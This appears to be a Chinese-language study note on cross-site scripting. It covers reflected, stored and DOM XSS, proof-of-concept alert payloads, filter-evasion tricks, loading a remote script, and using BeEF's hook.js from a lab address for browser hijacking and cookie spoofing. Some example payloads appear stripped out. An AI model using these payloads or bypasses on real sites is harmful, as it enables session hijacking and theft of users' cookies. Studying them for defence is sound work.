本文共 5062 字,大约阅读时间需要 16 分钟。
1. XSS 漏洞概述
1.1 什么是 XSS 攻击
- XSS 作为
OWASP top10 之一
- XSS 被称为
跨站脚本攻击
(Cross-site-scripting) - XSS主要
基于JS完成恶意的攻击行为
- JS可以
非常灵活的操作html、css、浏览器
,使得XSS攻击的想象空间特别大
1.2 XSS 攻击对象
- XSS 的对象是
用户和浏览器
- XSS 通过
将精心构造的代码(JS)代码注入到网页中
,并由浏览器解释运行这段JS代码
,以达到恶意攻击
的效果 - 当
用户访问被 XSS 脚本注入的网页
,XSS 脚本
就会被提取
出来,用户浏览器
就会解析这段XSS代码
,也就是说用户被攻击了 - 用户最简单的动作就是
使用浏览器上网
,并且浏览器中有 javascript 解释器
,可以解析 javascript
,然而浏览器不会判断代码是否恶意
1.3 XSS 攻击的场景
微博、留言板、聊天室
等等收集用户输入的地方
,都有可能被注入 XSS 代码
,都存在遭受 XSS 的风险,只要没有对用户的输入进行严格过滤,就会被 XSS
2. XSS 危害
- XSS 利用 JS 代码实现攻击,有很多种攻击方法,以下简单列出几种
盗取各种用户账号
窃取用户 Cookie 资料,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒
- 。。。
3. XSS 漏洞验证
- 可以
用一段简单的代码,验证和检测漏洞的存在
,这样的代码叫做PoC(Proof of Concept)
POC------漏洞的验证与检测
EXP------漏洞的完整利用工具
shellcode-利用漏洞时,所执行的代码
payload--攻击载荷
sqlmap----攻击代码的模版
msf--------shellcode 类似,功能是建立与目标的连接
- 验证 XSS 漏洞存在的 PoC 如下
3.1 XSS 漏洞验证过程
- 在测试页面中提交
<script>alert(/xss/)</script>
- 点击提交按钮,就能看到弹窗操作
- 点击确定,右键查看网页源代码
- 发现提交的代码
<script>alert(/xss/)</script>
,被当作字符串
输出在 HTML 页面中 - 浏览器会根据
<script>
标签识别为 JS 语句,并会执行它,执行弹窗操作 - 也就是说,
可以执行其他 JS 代码,因此验证了 XSS 漏洞的存在性
4. XSS 分类
- XSS 漏洞大概可以分为三个类型:
反射型 XSS
、存储型 XSS
、DOM 型 XSS
4.1 反射型XSS
反射型XSS
是非持久性、参数型
的跨站脚本
,反射型XSS 的 JS 代码在 Web 应用的参数(变量)中
- 如
搜索框
的反射型XSS - 在搜索框中,提交 PoC
<script>alert(/xss/)</script>
,点击搜索
,即可触发反射型XSS
- 注意到提交的 PoC 会出现在 search.php 页面的
keywords 参数
中
4.2 存储型XSS
- 存储型XSS 是
持久性跨站脚本
- 持久性体现在
XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中
- 存储型XSS 通常发生在
留言板
等地方 - 在留言板位置留言,
将恶意代码写进数据库中
- 因为XSS 使用的 JS 代码,JS 代码的运行环境是
浏览器
- 所以需要
浏览器从服务器载入恶意的 XSS 代码,才能真正触发 XSS
- 此时需要模拟网站后台管理员的身份,查看留言
4.3 DOM XSS
DOM XSS
比较特殊
- owasp 关于 DOM 型号 XSS 的定义是
基于 DOM 的 XSS 是一种 XSS 攻击
- 其中
攻击的 payload 由于修改受害者浏览器页面的 DOM 树而执行的
- 其特殊的地方就是
payload 在浏览器本地修改 DOM 树而执行,并不会传到服务器上
- 这也就使得 DOM XSS 比较
难以检测
- 如下面的例子
[#message=<script>alert(/xss/)</script>]
- 以
锚点
的方式提交PoC PoC 并不会发送的服务器,但是已经触发了 XSS
查看提交参数后的 HTML 页面(DOM 树),会形成鲜明的对比
5. XSS 构造
5.1 利用 [<>] 构造 HTML/JS
- 可以
利用 [<>] 构造 HTML 标签和 <script> 标签
在测试页面提交参数 [<h1 style='color: red'>利用 [<>] 构造 HTML/JS</h1>]
- 提交
[<script>alert(/xss/)</script>]
5.2 伪协议
- 也可以使用
javascript: 伪协议
的方式构造 XSS [javascript:alert(/xss/);]
提交参数 [<a href="javascript:alert(/xss/)">touch me!</a>]
点击超链接,即可触发 XSS
- 也可以
使用 img 标签的伪协议
,但是这种方法在 IE6 下测试成功
[<img src="javascript: alert('xss')">]
5.3 产生事件
5.3.1 事件驱动
- "
事件驱动
"是一种比较经典的编程思想 - 在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应
- 所以可以
通过事件触发 JS 函数,触发 XSS
5.3.2 事件种类
windows 事件 对 windows 对象触发的事件
Form 事件 HTML 表单内的动作触发事件
Keyboard 事件 键盘按键
Mouse 事件 由鼠标或类似用户动作触发的事件
Media 事件 由多媒体触发的事件
5.3.3 事件案例
- 例如,
[<img src='./smile.jpg' onmouseover='alert(/xss/)'>]
- 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发 XSS 代码
- 单行文本框的键盘点击事件,
[<input type="text" onkeydown='alert(/xss/)'>]
5.4 利用 CSS 跨站(old)
- 也可以
利用 CSS(层叠样式脚本)触发 XSS
- 但是这种方法比较古老,基本上不适合现在主流浏览器
5.5 其他标签及手法
- 也可以用
其他标签触发 XSS
[<svg onload="alert(/xss/)">]
[<input onfocus=alert(/xss/) autofocus>]
6. XSS 变形
可以构造的 XSS 代码进行各种变形,以绕过 XSS 过滤器的检测
6.1 大小写转换
click me
6.2 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”
6.3 [/] 代替空格
6.4 回车
可以在一些位置添加 Tab(水平制表符)和回车符,来绕过关键字检测
click me!
6.5 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤
- 对应编码如下
字母 | ASCII码 | 十进制编码 | 十六进制编码 |
a | 97 | a | a |
e | 101 | e | e |
click me!
click me!
6.6 拆分跨站
6.7 双写绕过
6.8 CSS 中的变形
6.8.1 使用全角字符
width:e x p r e s s i o n (alert(/xss/))
6.8.2 注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))
6.8.3 样式表中的 [] 和 [\0]
7. Shellcode 调用
Shellcode 就是在利用漏洞所执行的代码
完整的 XSS 攻击,会将 Shellcode 存放在一定的地方,然后触发漏洞,调用 Shellcode
7.1 远程调用JS
- 可以将 JS 代码单独放在一个 js 文件中,然后通过 http 协议远程加载该脚本
- 例如
<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>
- 这是比较常用的方式
- XSS.js 的内容如下
7.2 window.location.hash
- 也可以使用 js 中的
windows.location.hash
方法获取浏览器 URL 地址栏的 XSS 代码
windows.location.hash 会获取 URL 中 # 后面的内容
- 例如
http://domain.com/index.php#AJEST
windows.location.hash
的值就是 #AJEST
- 可以构造如下代码
?submit=submit&xsscode=#alert(/This is windows.location.hash/)
7.3 XSS Downloader
XSS 下载器就是将 XSS 代码写到网页中,然后通过 AJAX 技术,取得网页中的 XSS 代码
在使用 XSS Downloader 之前需要一个自己的页面
- xss_downloader.php,内容如下
常见的下载器
如下
AJAX 技术会受到浏览器同源策略的限制
- 为了解决这个问题,需要在服务器端代码中添加如下内容
7.4 备选存储技术
可以把 Shellcode 存储在客户端的本地域中
- 比如
HTTP Cookie、Flash 共享对象、UserData、localStorage 等
8. XSS 防御
8.1 使用 XSS Filter
XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范 XSS 攻击的效果
8.1.1 输入过滤
- "永远不要相信用户的输入"是网站开发的基本常识,
对于用户输入一定要过滤,过滤,再过滤
8.1.2 输入验证
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求
8.1.3 数据消毒
8.1.4 输出编码
HTML 编码主要是用对应的 HTML 实体代替字符
8.1.5 黑白名单
不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤
8.2 防御 DOM-XSS
8.3 beef
8.3.1 beef 启动
- kali 中
工具目录 /usr/share/beef-xss
配置文件 config.yaml
启动 beef 工具方法
- beef-xss
- /usr/share/beef-xss/beef
修改默认用户名和密码
Web 界面管理控制台
- http://172.16.132.128:3000/ui/panel
Shellcode
- http://172.16.132.128:3000/hook.js
测试页面
- http://172.16.132.128:3000/demos/butcher/index.html
浏览器劫持
Cookie 窃取与欺骗--固定会话攻击
- data: cookie=username=admin; userid=1
document.cookie="username=admin";document.cookie="userid=1"
9. 总结
- Web 安全第一课
- 对经典的 XSS 攻击有个大致理解,做个笔记(面试问到了,但是没答上来)
转载地址:http://scqwi.baihongyu.com/